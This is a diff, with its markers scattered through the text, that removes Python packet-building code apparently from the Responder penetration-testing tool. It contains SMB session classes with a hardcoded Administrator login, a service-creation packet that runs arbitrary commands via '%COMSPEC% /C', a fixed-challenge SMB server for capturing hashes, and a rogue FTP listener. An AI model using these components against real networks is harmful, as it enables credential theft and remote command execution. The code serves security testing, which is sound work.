class SMBSessionData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0a"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00"),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\xff\xff"),
|
||||
("maxmpx", "\x02\x00"),
|
||||
("vcnum","\x01\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("PasswordLen","\x18\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("bcc","\x3b\x00"),
|
||||
("AccountPassword",""),
|
||||
("AccountName",""),
|
||||
("AccountNameTerminator","\x00"),
|
||||
("PrimaryDomain","WORKGROUP"),
|
||||
("PrimaryDomainTerminator","\x00"),
|
||||
("NativeOs","Unix"),
|
||||
("NativeOsTerminator","\x00"),
|
||||
("NativeLanman","Samba"),
|
||||
("NativeLanmanTerminator","\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
|
||||
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
|
||||
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
|
||||
|
||||
class SMBTreeConnectData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved","\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("Flags","\x08\x00"),
|
||||
("PasswdLen", "\x01\x00"),
|
||||
("Bcc","\x1b\x00"),
|
||||
("Passwd", "\x00"),
|
||||
("Path",""),
|
||||
("PathTerminator","\x00"),
|
||||
("Service","?????"),
|
||||
("Terminator", "\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
|
||||
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
|
||||
|
||||
class RAPNetServerEnum3Data(Packet):
|
||||
fields = OrderedDict([
|
||||
("Command", "\xd7\x00"),
|
||||
("ParamDescriptor", "WrLehDzz"),
|
||||
("ParamDescriptorTerminator", "\x00"),
|
||||
("ReturnDescriptor","B16BBDz"),
|
||||
("ReturnDescriptorTerminator", "\x00"),
|
||||
("DetailLevel", "\x01\x00"),
|
||||
("RecvBuff","\xff\xff"),
|
||||
("ServerType", "\x00\x00\x00\x80"),
|
||||
("TargetDomain","SMB"),
|
||||
("RapTerminator","\x00"),
|
||||
("TargetName","ABCD"),
|
||||
("RapTerminator2","\x00"),
|
||||
])
|
||||
|
||||
class SMBTransRAPData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0e"),
|
||||
("TotalParamCount", "\x24\x00"),
|
||||
("TotalDataCount","\x00\x00" ),
|
||||
("MaxParamCount", "\x08\x00"),
|
||||
("MaxDataCount","\xff\xff"),
|
||||
("MaxSetupCount", "\x00"),
|
||||
("Reserved","\x00\x00"),
|
||||
("Flags", "\x00"),
|
||||
("Timeout","\x00\x00\x00\x00"),
|
||||
("Reserved1","\x00\x00"),
|
||||
("ParamCount","\x24\x00"),
|
||||
("ParamOffset", "\x5a\x00"),
|
||||
("DataCount", "\x00\x00"),
|
||||
("DataOffset", "\x7e\x00"),
|
||||
("SetupCount", "\x00"),
|
||||
("Reserved2", "\x00"),
|
||||
("Bcc", "\x3f\x00"),
|
||||
("Terminator", "\x00"),
|
||||
("PipeName", "\\PIPE\\LANMAN"),
|
||||
("PipeTerminator","\x00\x00"),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
#Padding
|
||||
if len(str(self.fields["Data"]))%2==0:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
|
||||
else:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||
##Convert Path to Unicode first before any Len calc.
|
||||
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
|
||||
##Data Len
|
||||
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
##Packet len
|
||||
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
||||
|
||||
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
|
||||
##Bcc Buff Len
|
||||
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
|
@ -1,480 +0,0 @@
|
|||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
##################################################################################
|
||||
#SMB Client Stuff
|
||||
##################################################################################
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x4e"),
|
||||
("uid", "\x00\x08"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Separator1","\x02" ),
|
||||
("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("Separator2","\x02"),
|
||||
("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("Separator3","\x02"),
|
||||
("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("Separator4","\x02"),
|
||||
("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("Separator5","\x02"),
|
||||
("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("Separator6","\x02"),
|
||||
("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionTreeData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0d"),
|
||||
("AndXCommand", "\x75"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x7c\x00"),
|
||||
("Maxbuff","\x04\x11"),
|
||||
("Maxmpx", "\x32\x00"),
|
||||
("Vcnum","\x00\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("AnsiPassLength","\x18\x00"),
|
||||
("UnicodePassLength", "\x00\x00"),
|
||||
("Reserved2","\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xd4\x00\x00\x00"),
|
||||
("Bcc","\x3f\x00"),
|
||||
("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
|
||||
("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
|
||||
("Username","Administrator"),
|
||||
("UsernameTerminator","\x00\x00"),
|
||||
("Domain","SMB"),
|
||||
("DomainTerminator","\x00\x00"),
|
||||
("Nativeos",""),
|
||||
("NativeosTerminator","\x00\x00"),
|
||||
("Lanmanager",""),
|
||||
("LanmanagerTerminator","\x00\x00\x00"),
|
||||
("Wordcount2","\x04"),
|
||||
("Andxcmd2","\xff"),
|
||||
("Reserved3","\x00"),
|
||||
("Andxoffset2","\x06\x01"),
|
||||
("Flags","\x08\x00"),
|
||||
("PasswordLength","\x01\x00"),
|
||||
("Bcc2","\x19\x00"),
|
||||
("Passwd","\x00"),
|
||||
("PrePath","\\\\"),
|
||||
("Targ", "CSCDSFCS"),
|
||||
("IPC", "\\IPC$"),
|
||||
("TerminatorPath","\x00\x00"),
|
||||
("Service","?????"),
|
||||
("TerminatorService","\x00"),
|
||||
])
|
||||
def calculate(self):
|
||||
##Convert first
|
||||
self.fields["Username"] = self.fields["Username"].encode('utf-16be')
|
||||
self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
|
||||
self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
|
||||
self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
|
||||
self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
|
||||
self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
|
||||
self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
|
||||
##Then calculate
|
||||
data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
|
||||
|
||||
data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(data1))
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(data2))
|
||||
self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
|
||||
self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
|
||||
self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
|
||||
self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
|
||||
|
||||
class SMBNTCreateData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x18"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("Reserved2", "\x00"),
|
||||
("FileNameLen", "\x07\x00"),
|
||||
("CreateFlags", "\x16\x00\x00\x00"),
|
||||
("RootFID", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\x00\x00\x00\x02"),
|
||||
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("FileAttrib", "\x00\x00\x00\x00"),
|
||||
("ShareAccess", "\x07\x00\x00\x00"),
|
||||
("Disposition", "\x01\x00\x00\x00"),
|
||||
("CreateOptions", "\x00\x00\x00\x00"),
|
||||
("Impersonation", "\x02\x00\x00\x00"),
|
||||
("SecurityFlags", "\x00"),
|
||||
("Bcc", "\x08\x00"),
|
||||
("FileName", "\\svcctl"),
|
||||
("FileNameNull", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
|
||||
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
|
||||
self.fields["Bcc"] = struct.pack("<h",len(Data1))
|
||||
|
||||
class SMBReadData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0a"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("FID", "\x00\x00"),
|
||||
("Offset", "\x19\x03\x00\x00"),
|
||||
("MaxCountLow", "\xed\x01"),
|
||||
("MinCount", "\xed\x01"),
|
||||
("Hidden", "\xff\xff\xff\xff"),
|
||||
("Remaining", "\x00\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBWriteData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0e"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("FID", "\x06\x40"),
|
||||
("Offset", "\xea\x03\x00\x00"),
|
||||
("Reserved2", "\xff\xff\xff\xff"),
|
||||
("WriteMode", "\x08\x00"),
|
||||
("Remaining", "\xdc\x02"),
|
||||
("DataLenHi", "\x00\x00"),
|
||||
("DataLenLow", "\xdc\x02"),
|
||||
("DataOffset", "\x3f\x00"),
|
||||
("HiOffset", "\x00\x00\x00\x00"),
|
||||
("Bcc", "\xdc\x02"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBDCEData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x05"),
|
||||
("VersionLow", "\x00"),
|
||||
("PacketType", "\x0b"),
|
||||
("PacketFlag", "\x03"),
|
||||
("DataRepresent", "\x10\x00\x00\x00"),
|
||||
("FragLen", "\x2c\x02"),
|
||||
("AuthLen", "\x00\x00"),
|
||||
("CallID", "\x00\x00\x00\x00"),
|
||||
("MaxTransFrag", "\xd0\x16"),
|
||||
("MaxRecvFrag", "\xd0\x16"),
|
||||
("GroupAssoc", "\x00\x00\x00\x00"),
|
||||
("CTXNumber", "\x01"),
|
||||
("CTXPadding", "\x00\x00\x00"),
|
||||
("CTX0ContextID", "\x00\x00"),
|
||||
("CTX0ItemNumber", "\x01\x00"),
|
||||
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
|
||||
("CTX0UIDVersion", "\x02\x00"),
|
||||
("CTX0UIDVersionlo","\x00\x00"),
|
||||
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
|
||||
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
|
||||
|
||||
|
||||
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||
|
||||
class SMBDCEPacketData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x05"),
|
||||
("VersionLow", "\x00"),
|
||||
("PacketType", "\x00"),
|
||||
("PacketFlag", "\x03"),
|
||||
("DataRepresent", "\x10\x00\x00\x00"),
|
||||
("FragLen", "\x2c\x02"),
|
||||
("AuthLen", "\x00\x00"),
|
||||
("CallID", "\x00\x00\x00\x00"),
|
||||
("AllocHint", "\x38\x00\x00\x00"),
|
||||
("ContextID", "\x00\x00"),
|
||||
("Opnum", "\x0f\x00"),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
|
||||
|
||||
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBDCESVCCTLOpenManagerW(Packet):
|
||||
fields = OrderedDict([
|
||||
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
|
||||
("MaxCount", "\x0f\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0f\x00\x00\x00"),
|
||||
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
|
||||
("MachineNameNull", "\x00\x00\x00\x00"),
|
||||
("DbPointer", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\x3f\x00\x0f\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
## Convert to UTF-16LE
|
||||
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
|
||||
|
||||
|
||||
class SMBDCESVCCTLCreateService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x0c\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0c\x00\x00\x00"),
|
||||
("ServiceName", "AyAGaxwLhCP"),
|
||||
("MachineNameNull", "\x00\x00"),
|
||||
("ReferentID", "\x9c\xfa\x9a\xc9"),
|
||||
("MaxCountRefID", "\x11\x00\x00\x00"),
|
||||
("OffsetID", "\x00\x00\x00\x00"),
|
||||
("ActualCountRefID", "\x11\x00\x00\x00"),
|
||||
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
|
||||
("DisplayNameIDNull", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\xff\x01\x0f\x00"),
|
||||
("ServerType", "\x10\x01\x00\x00"),
|
||||
("ServiceStartType", "\x03\x00\x00\x00"),
|
||||
("ServiceErrorCtl", "\x00\x00\x00\x00"),
|
||||
("BinPathMaxCount", "\xb6\x00\x00\x00"),
|
||||
("BinPathOffset", "\x00\x00\x00\x00"),
|
||||
("BinPathActualCount", "\xb6\x00\x00\x00"),
|
||||
("BinPathName", "%COMSPEC% /C \""),
|
||||
("BinCMD", ""),
|
||||
("BintoEnd", "\""),
|
||||
("BinPathNameNull", "\x00\x00"),
|
||||
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
|
||||
|
||||
## Calculate first
|
||||
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||
## Then convert to UTF-16LE, yeah it's weird..
|
||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
||||
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
||||
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
|
||||
|
||||
|
||||
|
||||
class SMBDCESVCCTLOpenService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x0c\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0c\x00\x00\x00"),
|
||||
("ServiceName", ""),
|
||||
("MachineNameNull", "\x00\x00"),
|
||||
("AccessMask", "\xff\x01\x0f\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
## Calculate first
|
||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
## Then convert to UTF-16LE, yeah it's weird..
|
||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||
|
||||
class SMBDCESVCCTLStartService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def ParseAnswerKey(data,host):
|
||||
key = data[73:81]
|
||||
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
|
||||
return key
|
||||
|
||||
##################################################################################
|
||||
#SMB Server Stuff
|
||||
##################################################################################
|
||||
|
||||
#Calculate total SMB packet len.
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
#SMB Header answer packet.
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("errorcode", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x80"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\xff\xfe"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
#SMB Negotiate Answer packet.
|
||||
class SMBNegoAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("Maxbuffsize", "\x04\x11\x00\x00"),
|
||||
("Maxrawbuff", "\x00\x00\x01\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\x43\x00\x00"),
|
||||
("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
|
||||
("Keylength", "\x08"),
|
||||
("Bcc", "\x10\x00"),
|
||||
("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
|
||||
("Domain", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Then calculate.
|
||||
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||
|
||||
# SMB Session/Tree Answer.
|
||||
class SMBSessTreeAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x03"),
|
||||
("Command", "\x75"),
|
||||
("Reserved", "\x00"),
|
||||
("AndXoffset", "\x4e\x00"),
|
||||
("Action", "\x01\x00"),
|
||||
("Bcc", "\x25\x00"),
|
||||
("NativeOs", "Windows 5.1"),
|
||||
("NativeOsNull", "\x00"),
|
||||
("NativeLan", "Windows 2000 LAN Manager"),
|
||||
("NativeLanNull", "\x00"),
|
||||
("WordcountTree", "\x03"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved1", "\x00"),
|
||||
("AndxOffset", "\x00\x00"),
|
||||
("OptionalSupport", "\x01\x00"),
|
||||
("Bcc2", "\x08\x00"),
|
||||
("Service", "A:"),
|
||||
("ServiceNull", "\x00"),
|
||||
("FileSystem", "NTFS"),
|
||||
("FileSystemNull", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##AndxOffset
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
|
||||
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]#SMB Header is *always* 32.
|
||||
##BCC 1 and 2
|
||||
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
|
||||
|
||||
class SMBSessEmpty(Packet):
|
||||
fields = OrderedDict([
|
||||
("Empty", "\x00\x00\x00"),
|
||||
])
|
||||
|
|
@ -1,67 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import logging
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [FTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("FTPserver", formatter)
|
||||
|
||||
class FTPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
|
||||
t = threading.Thread(name="FTPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
log.error("Error starting on port {}: {}".format(21, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class FTPPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "220"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "Welcome"),
|
||||
